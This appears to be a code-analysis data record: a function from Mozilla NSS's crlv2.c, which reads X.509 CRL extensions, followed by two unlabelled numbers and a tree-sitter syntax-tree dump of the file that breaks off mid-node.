decodedExtenValue.data = NULL; encodedExtenValue.len = decodedExtenValue.len = 0; rv = cert_FindExtension (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue); if ( rv != SECSuccess ) return (rv); rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue, SEC_ASN1_GET(SEC_GeneralizedTimeTemplate), &encodedExtenValue); if (rv == SECSuccess) rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue); PORT_Free (decodedExtenValue.data); PORT_Free (encodedExtenValue.data); return (rv); }
29.61
135
(translation_unit) "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */\n\n/*\n * Code for dealing with x.509 v3 crl and crl entries extensions.\n *\n * $Id: crlv2.c,v 1.7 2012/04/25 14:49:27 gerv%gerv.net Exp $\n */\n\n#include "cert.h"\n#include "secitem.h"\n#include "secoid.h"\n#include "secoidt.h"\n#include "secder.h"\n#include "secasn1.h"\n#include "certxutl.h"\n\nSECStatus\nCERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)\n{\n return (cert_FindExtensionByOID (crl->extensions, oid, value));\n}\n \n\nSECStatus\nCERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)\n{\n return (cert_FindExtension (crl->extensions, tag, value));\n}\n\n\n/* Callback to set extensions and adjust verison */\nstatic void\nSetCrlExts(void *object, CERTCertExtension **exts)\n{\n CERTCrl *crl = (CERTCrl *)object;\n\n crl->extensions = exts;\n DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2);\n}\n\nvoid *\nCERT_StartCRLExtensions(CERTCrl *crl)\n{\n return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts));\n}\n\nstatic void\nSetCrlEntryExts(void *object, CERTCertExtension **exts)\n{\n CERTCrlEntry *crlEntry = (CERTCrlEntry *)object;\n\n crlEntry->extensions = exts;\n}\n\nvoid *\nCERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)\n{\n return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts));\n}\n\nSECStatus CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)\n{\n SECItem encodedExtenValue;\n SECItem *tmpItem = NULL;\n SECStatus rv;\n void *mark = NULL;\n\n encodedExtenValue.data = NULL;\n encodedExtenValue.len = 0;\n\n rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n &encodedExtenValue);\n if ( rv != SECSuccess )\n return (rv);\n\n mark = PORT_ArenaMark(arena);\n\n tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue);\n if (tmpItem) {\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n } else {\n rv = SECFailure;\n }\n\n PORT_Free (encodedExtenValue.data);\n if (rv == SECFailure) {\n PORT_ArenaRelease(arena, mark);\n } else {\n PORT_ArenaUnmark(arena, mark);\n }\n return (rv);\n}\n\nSECStatus CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)\n{\n SECItem wrapperItem = {siBuffer,0};\n SECItem tmpItem = {siBuffer,0};\n SECStatus rv;\n PRArenaPool *arena = NULL;\n\n arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE); \n if ( ! arena ) {\n return(SECFailure);\n }\n \n rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem);\n if ( rv != SECSuccess ) {\n goto loser;\n }\n\n rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem);\n\n if ( rv != SECSuccess ) {\n goto loser;\n }\n\n *value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem);\n\nloser:\n if ( arena ) {\n PORT_FreeArena(arena, PR_FALSE);\n }\n \n if ( wrapperItem.data ) {\n PORT_Free(wrapperItem.data);\n }\n\n return (rv);\n}\n\nSECStatus CERT_FindInvalidDateExten (CERTCrl *crl, int64 *value)\n{\n SECItem encodedExtenValue;\n SECItem decodedExtenValue = {siBuffer,0};\n SECStatus rv;\n\n encodedExtenValue.data = decodedExtenValue.data = NULL;\n encodedExtenValue.len = decodedExtenValue.len = 0;\n\n rv = cert_FindExtension\n (crl->extensions, SEC_OID_X509_INVALID_DATE, &encodedExtenValue);\n if ( rv != SECSuccess )\n return (rv);\n\n rv = SEC_ASN1DecodeItem (NULL, &decodedExtenValue,\n SEC_ASN1_GET(SEC_GeneralizedTimeTemplate),\n &encodedExtenValue);\n if (rv == SECSuccess)\n rv = DER_GeneralizedTimeToTime(value, &encodedExtenValue);\n PORT_Free (decodedExtenValue.data);\n PORT_Free (encodedExtenValue.data);\n return (rv);\n}\n" (comment) "/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http://mozilla.org/MPL/2.0/. */" (comment) "/*\n * Code for dealing with x.509 v3 crl and crl entries extensions.\n *\n * $Id: crlv2.c,v 1.7 2012/04/25 14:49:27 gerv%gerv.net Exp $\n */" (preproc_include) "#include "cert.h"\n" (#include) "#include" (string_literal) ""cert.h"" (") """ (string_content) "cert.h" (") """ (preproc_include) "#include "secitem.h"\n" (#include) "#include" (string_literal) ""secitem.h"" (") """ (string_content) "secitem.h" (") """ (preproc_include) "#include "secoid.h"\n" (#include) "#include" (string_literal) ""secoid.h"" (") """ (string_content) "secoid.h" (") """ (preproc_include) "#include "secoidt.h"\n" (#include) "#include" (string_literal) ""secoidt.h"" (") """ (string_content) "secoidt.h" (") """ (preproc_include) "#include "secder.h"\n" (#include) "#include" (string_literal) ""secder.h"" (") """ (string_content) "secder.h" (") """ (preproc_include) "#include "secasn1.h"\n" (#include) "#include" (string_literal) ""secasn1.h"" (") """ (string_content) "secasn1.h" (") """ (preproc_include) "#include "certxutl.h"\n" (#include) "#include" (string_literal) ""certxutl.h"" (") """ (string_content) "certxutl.h" (") """ (function_definition) "SECStatus\nCERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)\n{\n return (cert_FindExtensionByOID (crl->extensions, oid, value));\n}" (type_identifier) "SECStatus" (function_declarator) "CERT_FindCRLExtensionByOID(CERTCrl *crl, SECItem *oid, SECItem *value)" (identifier) "CERT_FindCRLExtensionByOID" (parameter_list) "(CERTCrl *crl, SECItem *oid, SECItem *value)" (() "(" (parameter_declaration) "CERTCrl *crl" (type_identifier) "CERTCrl" (pointer_declarator) "*crl" (*) "*" (identifier) "crl" (,) "," (parameter_declaration) "SECItem *oid" (type_identifier) "SECItem" (pointer_declarator) "*oid" (*) "*" (identifier) "oid" (,) "," (parameter_declaration) "SECItem *value" (type_identifier) "SECItem" (pointer_declarator) "*value" (*) "*" (identifier) "value" ()) ")" (compound_statement) "{\n return (cert_FindExtensionByOID (crl->extensions, oid, value));\n}" ({) "{" (return_statement) "return (cert_FindExtensionByOID (crl->extensions, oid, value));" (return) "return" (parenthesized_expression) "(cert_FindExtensionByOID (crl->extensions, oid, value))" (() "(" (call_expression) "cert_FindExtensionByOID (crl->extensions, oid, value)" (identifier) "cert_FindExtensionByOID" (argument_list) "(crl->extensions, oid, value)" (() "(" (field_expression) "crl->extensions" (identifier) "crl" (->) "->" (field_identifier) "extensions" (,) "," (identifier) "oid" (,) "," (identifier) "value" ()) ")" ()) ")" (;) ";" (}) "}" (function_definition) "SECStatus\nCERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)\n{\n return (cert_FindExtension (crl->extensions, tag, value));\n}" (type_identifier) "SECStatus" (function_declarator) "CERT_FindCRLExtension(CERTCrl *crl, int tag, SECItem *value)" (identifier) "CERT_FindCRLExtension" (parameter_list) "(CERTCrl *crl, int tag, SECItem *value)" (() "(" (parameter_declaration) "CERTCrl *crl" (type_identifier) "CERTCrl" (pointer_declarator) "*crl" (*) "*" (identifier) "crl" (,) "," (parameter_declaration) "int tag" (primitive_type) "int" (identifier) "tag" (,) "," (parameter_declaration) "SECItem *value" (type_identifier) "SECItem" (pointer_declarator) "*value" (*) "*" (identifier) "value" ()) ")" (compound_statement) "{\n return (cert_FindExtension (crl->extensions, tag, value));\n}" ({) "{" (return_statement) "return (cert_FindExtension (crl->extensions, tag, value));" (return) "return" (parenthesized_expression) "(cert_FindExtension (crl->extensions, tag, value))" (() "(" (call_expression) "cert_FindExtension (crl->extensions, tag, value)" (identifier) "cert_FindExtension" (argument_list) "(crl->extensions, tag, value)" (() "(" (field_expression) "crl->extensions" (identifier) "crl" (->) "->" (field_identifier) "extensions" (,) "," (identifier) "tag" (,) "," (identifier) "value" ()) ")" ()) ")" (;) ";" (}) "}" (comment) "/* Callback to set extensions and adjust verison */" (function_definition) "static void\nSetCrlExts(void *object, CERTCertExtension **exts)\n{\n CERTCrl *crl = (CERTCrl *)object;\n\n crl->extensions = exts;\n DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2);\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "void" (function_declarator) "SetCrlExts(void *object, CERTCertExtension **exts)" (identifier) "SetCrlExts" (parameter_list) "(void *object, CERTCertExtension **exts)" (() "(" (parameter_declaration) "void *object" (primitive_type) "void" (pointer_declarator) "*object" (*) "*" (identifier) "object" (,) "," (parameter_declaration) "CERTCertExtension **exts" (type_identifier) "CERTCertExtension" (pointer_declarator) "**exts" (*) "*" (pointer_declarator) "*exts" (*) "*" (identifier) "exts" ()) ")" (compound_statement) "{\n CERTCrl *crl = (CERTCrl *)object;\n\n crl->extensions = exts;\n DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2);\n}" ({) "{" (declaration) "CERTCrl *crl = (CERTCrl *)object;" (type_identifier) "CERTCrl" (init_declarator) "*crl = (CERTCrl *)object" (pointer_declarator) "*crl" (*) "*" (identifier) "crl" (=) "=" (cast_expression) "(CERTCrl *)object" (() "(" (type_descriptor) "CERTCrl *" (type_identifier) "CERTCrl" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "object" (;) ";" (expression_statement) "crl->extensions = exts;" (assignment_expression) "crl->extensions = exts" (field_expression) "crl->extensions" (identifier) "crl" (->) "->" (field_identifier) "extensions" (=) "=" (identifier) "exts" (;) ";" (expression_statement) "DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2);" (call_expression) "DER_SetUInteger (crl->arena, &crl->version, SEC_CRL_VERSION_2)" (identifier) "DER_SetUInteger" (argument_list) "(crl->arena, &crl->version, SEC_CRL_VERSION_2)" (() "(" (field_expression) "crl->arena" (identifier) "crl" (->) "->" (field_identifier) "arena" (,) "," (pointer_expression) "&crl->version" (&) "&" (field_expression) "crl->version" (identifier) "crl" (->) "->" (field_identifier) "version" (,) "," (identifier) "SEC_CRL_VERSION_2" ()) ")" (;) ";" (}) "}" (function_definition) "void *\nCERT_StartCRLExtensions(CERTCrl *crl)\n{\n return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts));\n}" (primitive_type) "void" (pointer_declarator) "*\nCERT_StartCRLExtensions(CERTCrl *crl)" (*) "*" (function_declarator) "CERT_StartCRLExtensions(CERTCrl *crl)" (identifier) "CERT_StartCRLExtensions" (parameter_list) "(CERTCrl *crl)" (() "(" (parameter_declaration) "CERTCrl *crl" (type_identifier) "CERTCrl" (pointer_declarator) "*crl" (*) "*" (identifier) "crl" ()) ")" (compound_statement) "{\n return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts));\n}" ({) "{" (return_statement) "return (cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts));" (return) "return" (parenthesized_expression) "(cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts))" (() "(" (call_expression) "cert_StartExtensions ((void *)crl, crl->arena, SetCrlExts)" (identifier) "cert_StartExtensions" (argument_list) "((void *)crl, crl->arena, SetCrlExts)" (() "(" (cast_expression) "(void *)crl" (() "(" (type_descriptor) "void *" (primitive_type) "void" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "crl" (,) "," (field_expression) "crl->arena" (identifier) "crl" (->) "->" (field_identifier) "arena" (,) "," (identifier) "SetCrlExts" ()) ")" ()) ")" (;) ";" (}) "}" (function_definition) "static void\nSetCrlEntryExts(void *object, CERTCertExtension **exts)\n{\n CERTCrlEntry *crlEntry = (CERTCrlEntry *)object;\n\n crlEntry->extensions = exts;\n}" (storage_class_specifier) "static" (static) "static" (primitive_type) "void" (function_declarator) "SetCrlEntryExts(void *object, CERTCertExtension **exts)" (identifier) "SetCrlEntryExts" (parameter_list) "(void *object, CERTCertExtension **exts)" (() "(" (parameter_declaration) "void *object" (primitive_type) "void" (pointer_declarator) "*object" (*) "*" (identifier) "object" (,) "," (parameter_declaration) "CERTCertExtension **exts" (type_identifier) "CERTCertExtension" (pointer_declarator) "**exts" (*) "*" (pointer_declarator) "*exts" (*) "*" (identifier) "exts" ()) ")" (compound_statement) "{\n CERTCrlEntry *crlEntry = (CERTCrlEntry *)object;\n\n crlEntry->extensions = exts;\n}" ({) "{" (declaration) "CERTCrlEntry *crlEntry = (CERTCrlEntry *)object;" (type_identifier) "CERTCrlEntry" (init_declarator) "*crlEntry = (CERTCrlEntry *)object" (pointer_declarator) "*crlEntry" (*) "*" (identifier) "crlEntry" (=) "=" (cast_expression) "(CERTCrlEntry *)object" (() "(" (type_descriptor) "CERTCrlEntry *" (type_identifier) "CERTCrlEntry" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (identifier) "object" (;) ";" (expression_statement) "crlEntry->extensions = exts;" (assignment_expression) "crlEntry->extensions = exts" (field_expression) "crlEntry->extensions" (identifier) "crlEntry" (->) "->" (field_identifier) "extensions" (=) "=" (identifier) "exts" (;) ";" (}) "}" (function_definition) "void *\nCERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)\n{\n return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts));\n}" (primitive_type) "void" (pointer_declarator) "*\nCERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)" (*) "*" (function_declarator) "CERT_StartCRLEntryExtensions(CERTCrl *crl, CERTCrlEntry *entry)" (identifier) "CERT_StartCRLEntryExtensions" (parameter_list) "(CERTCrl *crl, CERTCrlEntry *entry)" (() "(" (parameter_declaration) "CERTCrl *crl" (type_identifier) "CERTCrl" (pointer_declarator) "*crl" (*) "*" (identifier) "crl" (,) "," (parameter_declaration) "CERTCrlEntry *entry" (type_identifier) "CERTCrlEntry" (pointer_declarator) "*entry" (*) "*" (identifier) "entry" ()) ")" (compound_statement) "{\n return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts));\n}" ({) "{" (return_statement) "return (cert_StartExtensions (entry, crl->arena, SetCrlEntryExts));" (return) "return" (parenthesized_expression) "(cert_StartExtensions (entry, crl->arena, SetCrlEntryExts))" (() "(" (call_expression) "cert_StartExtensions (entry, crl->arena, SetCrlEntryExts)" (identifier) "cert_StartExtensions" (argument_list) "(entry, crl->arena, SetCrlEntryExts)" (() "(" (identifier) "entry" (,) "," (field_expression) "crl->arena" (identifier) "crl" (->) "->" (field_identifier) "arena" (,) "," (identifier) "SetCrlEntryExts" ()) ")" ()) ")" (;) ";" (}) "}" (function_definition) "SECStatus CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)\n{\n SECItem encodedExtenValue;\n SECItem *tmpItem = NULL;\n SECStatus rv;\n void *mark = NULL;\n\n encodedExtenValue.data = NULL;\n encodedExtenValue.len = 0;\n\n rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n &encodedExtenValue);\n if ( rv != SECSuccess )\n return (rv);\n\n mark = PORT_ArenaMark(arena);\n\n tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue);\n if (tmpItem) {\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n } else {\n rv = SECFailure;\n }\n\n PORT_Free (encodedExtenValue.data);\n if (rv == SECFailure) {\n PORT_ArenaRelease(arena, mark);\n } else {\n PORT_ArenaUnmark(arena, mark);\n }\n return (rv);\n}" (type_identifier) "SECStatus" (function_declarator) "CERT_FindCRLNumberExten (PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)" (identifier) "CERT_FindCRLNumberExten" (parameter_list) "(PRArenaPool *arena, CERTCrl *crl,\n SECItem *value)" (() "(" (parameter_declaration) "PRArenaPool *arena" (type_identifier) "PRArenaPool" (pointer_declarator) "*arena" (*) "*" (identifier) "arena" (,) "," (parameter_declaration) "CERTCrl *crl" (type_identifier) "CERTCrl" (pointer_declarator) "*crl" (*) "*" (identifier) "crl" (,) "," (parameter_declaration) "SECItem *value" (type_identifier) "SECItem" (pointer_declarator) "*value" (*) "*" (identifier) "value" ()) ")" (compound_statement) "{\n SECItem encodedExtenValue;\n SECItem *tmpItem = NULL;\n SECStatus rv;\n void *mark = NULL;\n\n encodedExtenValue.data = NULL;\n encodedExtenValue.len = 0;\n\n rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n &encodedExtenValue);\n if ( rv != SECSuccess )\n return (rv);\n\n mark = PORT_ArenaMark(arena);\n\n tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue);\n if (tmpItem) {\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n } else {\n rv = SECFailure;\n }\n\n PORT_Free (encodedExtenValue.data);\n if (rv == SECFailure) {\n PORT_ArenaRelease(arena, mark);\n } else {\n PORT_ArenaUnmark(arena, mark);\n }\n return (rv);\n}" ({) "{" (declaration) "SECItem encodedExtenValue;" (type_identifier) "SECItem" (identifier) "encodedExtenValue" (;) ";" (declaration) "SECItem *tmpItem = NULL;" (type_identifier) "SECItem" (init_declarator) "*tmpItem = NULL" (pointer_declarator) "*tmpItem" (*) "*" (identifier) "tmpItem" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (declaration) "SECStatus rv;" (type_identifier) "SECStatus" (identifier) "rv" (;) ";" (declaration) "void *mark = NULL;" (primitive_type) "void" (init_declarator) "*mark = NULL" (pointer_declarator) "*mark" (*) "*" (identifier) "mark" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "encodedExtenValue.data = NULL;" (assignment_expression) "encodedExtenValue.data = NULL" (field_expression) "encodedExtenValue.data" (identifier) "encodedExtenValue" (.) "." (field_identifier) "data" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "encodedExtenValue.len = 0;" (assignment_expression) "encodedExtenValue.len = 0" (field_expression) "encodedExtenValue.len" (identifier) "encodedExtenValue" (.) "." (field_identifier) "len" (=) "=" (number_literal) "0" (;) ";" (expression_statement) "rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n &encodedExtenValue);" (assignment_expression) "rv = cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n &encodedExtenValue)" (identifier) "rv" (=) "=" (call_expression) "cert_FindExtension(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n &encodedExtenValue)" (identifier) "cert_FindExtension" (argument_list) "(crl->extensions, SEC_OID_X509_CRL_NUMBER,\n &encodedExtenValue)" (() "(" (field_expression) "crl->extensions" (identifier) "crl" (->) "->" (field_identifier) "extensions" (,) "," (identifier) "SEC_OID_X509_CRL_NUMBER" (,) "," (pointer_expression) "&encodedExtenValue" (&) "&" (identifier) "encodedExtenValue" ()) ")" (;) ";" (if_statement) "if ( rv != SECSuccess )\n return (rv);" (if) "if" (parenthesized_expression) "( rv != SECSuccess )" (() "(" (binary_expression) "rv != SECSuccess" (identifier) "rv" (!=) "!=" (identifier) "SECSuccess" ()) ")" (return_statement) "return (rv);" (return) "return" (parenthesized_expression) "(rv)" (() "(" (identifier) "rv" ()) ")" (;) ";" (expression_statement) "mark = PORT_ArenaMark(arena);" (assignment_expression) "mark = PORT_ArenaMark(arena)" (identifier) "mark" (=) "=" (call_expression) "PORT_ArenaMark(arena)" (identifier) "PORT_ArenaMark" (argument_list) "(arena)" (() "(" (identifier) "arena" ()) ")" (;) ";" (expression_statement) "tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue);" (assignment_expression) "tmpItem = SECITEM_ArenaDupItem(arena, &encodedExtenValue)" (identifier) "tmpItem" (=) "=" (call_expression) "SECITEM_ArenaDupItem(arena, &encodedExtenValue)" (identifier) "SECITEM_ArenaDupItem" (argument_list) "(arena, &encodedExtenValue)" (() "(" (identifier) "arena" (,) "," (pointer_expression) "&encodedExtenValue" (&) "&" (identifier) "encodedExtenValue" ()) ")" (;) ";" (if_statement) "if (tmpItem) {\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n } else {\n rv = SECFailure;\n }" (if) "if" (parenthesized_expression) "(tmpItem)" (() "(" (identifier) "tmpItem" ()) ")" (compound_statement) "{\n rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);\n }" ({) "{" (expression_statement) "rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem);" (assignment_expression) "rv = SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem)" (identifier) "rv" (=) "=" (call_expression) "SEC_QuickDERDecodeItem (arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem)" (identifier) "SEC_QuickDERDecodeItem" (argument_list) "(arena, value,\n SEC_ASN1_GET(SEC_IntegerTemplate),\n tmpItem)" (() "(" (identifier) "arena" (,) "," (identifier) "value" (,) "," (call_expression) "SEC_ASN1_GET(SEC_IntegerTemplate)" (identifier) "SEC_ASN1_GET" (argument_list) "(SEC_IntegerTemplate)" (() "(" (identifier) "SEC_IntegerTemplate" ()) ")" (,) "," (identifier) "tmpItem" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n rv = SECFailure;\n }" (else) "else" (compound_statement) "{\n rv = SECFailure;\n }" ({) "{" (expression_statement) "rv = SECFailure;" (assignment_expression) "rv = SECFailure" (identifier) "rv" (=) "=" (identifier) "SECFailure" (;) ";" (}) "}" (expression_statement) "PORT_Free (encodedExtenValue.data);" (call_expression) "PORT_Free (encodedExtenValue.data)" (identifier) "PORT_Free" (argument_list) "(encodedExtenValue.data)" (() "(" (field_expression) "encodedExtenValue.data" (identifier) "encodedExtenValue" (.) "." (field_identifier) "data" ()) ")" (;) ";" (if_statement) "if (rv == SECFailure) {\n PORT_ArenaRelease(arena, mark);\n } else {\n PORT_ArenaUnmark(arena, mark);\n }" (if) "if" (parenthesized_expression) "(rv == SECFailure)" (() "(" (binary_expression) "rv == SECFailure" (identifier) "rv" (==) "==" (identifier) "SECFailure" ()) ")" (compound_statement) "{\n PORT_ArenaRelease(arena, mark);\n }" ({) "{" (expression_statement) "PORT_ArenaRelease(arena, mark);" (call_expression) "PORT_ArenaRelease(arena, mark)" (identifier) "PORT_ArenaRelease" (argument_list) "(arena, mark)" (() "(" (identifier) "arena" (,) "," (identifier) "mark" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n PORT_ArenaUnmark(arena, mark);\n }" (else) "else" (compound_statement) "{\n PORT_ArenaUnmark(arena, mark);\n }" ({) "{" (expression_statement) "PORT_ArenaUnmark(arena, mark);" (call_expression) "PORT_ArenaUnmark(arena, mark)" (identifier) "PORT_ArenaUnmark" (argument_list) "(arena, mark)" (() "(" (identifier) "arena" (,) "," (identifier) "mark" ()) ")" (;) ";" (}) "}" (return_statement) "return (rv);" (return) "return" (parenthesized_expression) "(rv)" (() "(" (identifier) "rv" ()) ")" (;) ";" (}) "}" (function_definition) "SECStatus CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)\n{\n SECItem wrapperItem = {siBuffer,0};\n SECItem tmpItem = {siBuffer,0};\n SECStatus rv;\n PRArenaPool *arena = NULL;\n\n arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE); \n if ( ! arena ) {\n return(SECFailure);\n }\n \n rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem);\n if ( rv != SECSuccess ) {\n goto loser;\n }\n\n rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem);\n\n if ( rv != SECSuccess ) {\n goto loser;\n }\n\n *value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem);\n\nloser:\n if ( arena ) {\n PORT_FreeArena(arena, PR_FALSE);\n }\n \n if ( wrapperItem.data ) {\n PORT_Free(wrapperItem.data);\n }\n\n return (rv);\n}" (type_identifier) "SECStatus" (function_declarator) "CERT_FindCRLEntryReasonExten (CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)" (identifier) "CERT_FindCRLEntryReasonExten" (parameter_list) "(CERTCrlEntry *crlEntry,\n CERTCRLEntryReasonCode *value)" (() "(" (parameter_declaration) "CERTCrlEntry *crlEntry" (type_identifier) "CERTCrlEntry" (pointer_declarator) "*crlEntry" (*) "*" (identifier) "crlEntry" (,) "," (parameter_declaration) "CERTCRLEntryReasonCode *value" (type_identifier) "CERTCRLEntryReasonCode" (pointer_declarator) "*value" (*) "*" (identifier) "value" ()) ")" (compound_statement) "{\n SECItem wrapperItem = {siBuffer,0};\n SECItem tmpItem = {siBuffer,0};\n SECStatus rv;\n PRArenaPool *arena = NULL;\n\n arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE); \n if ( ! arena ) {\n return(SECFailure);\n }\n \n rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem);\n if ( rv != SECSuccess ) {\n goto loser;\n }\n\n rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem);\n\n if ( rv != SECSuccess ) {\n goto loser;\n }\n\n *value = (CERTCRLEntryReasonCode) DER_GetInteger(&tmpItem);\n\nloser:\n if ( arena ) {\n PORT_FreeArena(arena, PR_FALSE);\n }\n \n if ( wrapperItem.data ) {\n PORT_Free(wrapperItem.data);\n }\n\n return (rv);\n}" ({) "{" (declaration) "SECItem wrapperItem = {siBuffer,0};" (type_identifier) "SECItem" (init_declarator) "wrapperItem = {siBuffer,0}" (identifier) "wrapperItem" (=) "=" (initializer_list) "{siBuffer,0}" ({) "{" (identifier) "siBuffer" (,) "," (number_literal) "0" (}) "}" (;) ";" (declaration) "SECItem tmpItem = {siBuffer,0};" (type_identifier) "SECItem" (init_declarator) "tmpItem = {siBuffer,0}" (identifier) "tmpItem" (=) "=" (initializer_list) "{siBuffer,0}" ({) "{" (identifier) "siBuffer" (,) "," (number_literal) "0" (}) "}" (;) ";" (declaration) "SECStatus rv;" (type_identifier) "SECStatus" (identifier) "rv" (;) ";" (declaration) "PRArenaPool *arena = NULL;" (type_identifier) "PRArenaPool" (init_declarator) "*arena = NULL" (pointer_declarator) "*arena" (*) "*" (identifier) "arena" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE);" (assignment_expression) "arena = PORT_NewArena(DER_DEFAULT_CHUNKSIZE)" (identifier) "arena" (=) "=" (call_expression) "PORT_NewArena(DER_DEFAULT_CHUNKSIZE)" (identifier) "PORT_NewArena" (argument_list) "(DER_DEFAULT_CHUNKSIZE)" (() "(" (identifier) "DER_DEFAULT_CHUNKSIZE" ()) ")" (;) ";" (if_statement) "if ( ! arena ) {\n return(SECFailure);\n }" (if) "if" (parenthesized_expression) "( ! arena )" (() "(" (unary_expression) "! arena" (!) "!" (identifier) "arena" ()) ")" (compound_statement) "{\n return(SECFailure);\n }" ({) "{" (return_statement) "return(SECFailure);" (return) "return" (parenthesized_expression) "(SECFailure)" (() "(" (identifier) "SECFailure" ()) ")" (;) ";" (}) "}" (expression_statement) "rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem);" (assignment_expression) "rv = cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem)" (identifier) "rv" (=) "=" (call_expression) "cert_FindExtension(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem)" (identifier) "cert_FindExtension" (argument_list) "(crlEntry->extensions, SEC_OID_X509_REASON_CODE, \n &wrapperItem)" (() "(" (field_expression) "crlEntry->extensions" (identifier) "crlEntry" (->) "->" (field_identifier) "extensions" (,) "," (identifier) "SEC_OID_X509_REASON_CODE" (,) "," (pointer_expression) "&wrapperItem" (&) "&" (identifier) "wrapperItem" ()) ")" (;) ";" (if_statement) "if ( rv != SECSuccess ) {\n goto loser;\n }" (if) "if" (parenthesized_expression) "( rv != SECSuccess )" (() "(" (binary_expression) "rv != SECSuccess" (identifier) "rv" (!=) "!=" (identifier) "SECSuccess" ()) ")" (compound_statement) "{\n goto loser;\n }" ({) "{" (goto_statement) "goto loser;" (goto) "goto" (statement_identifier) "loser" (;) ";" (}) "}" (expression_statement) "rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem);" (assignment_expression) "rv = SEC_QuickDERDecodeItem(arena, &tmpItem,\n SEC_ASN1_GET(SEC_EnumeratedTemplate),\n &wrapperItem)" (identifier) "rv" (=) "=" (call_expression) 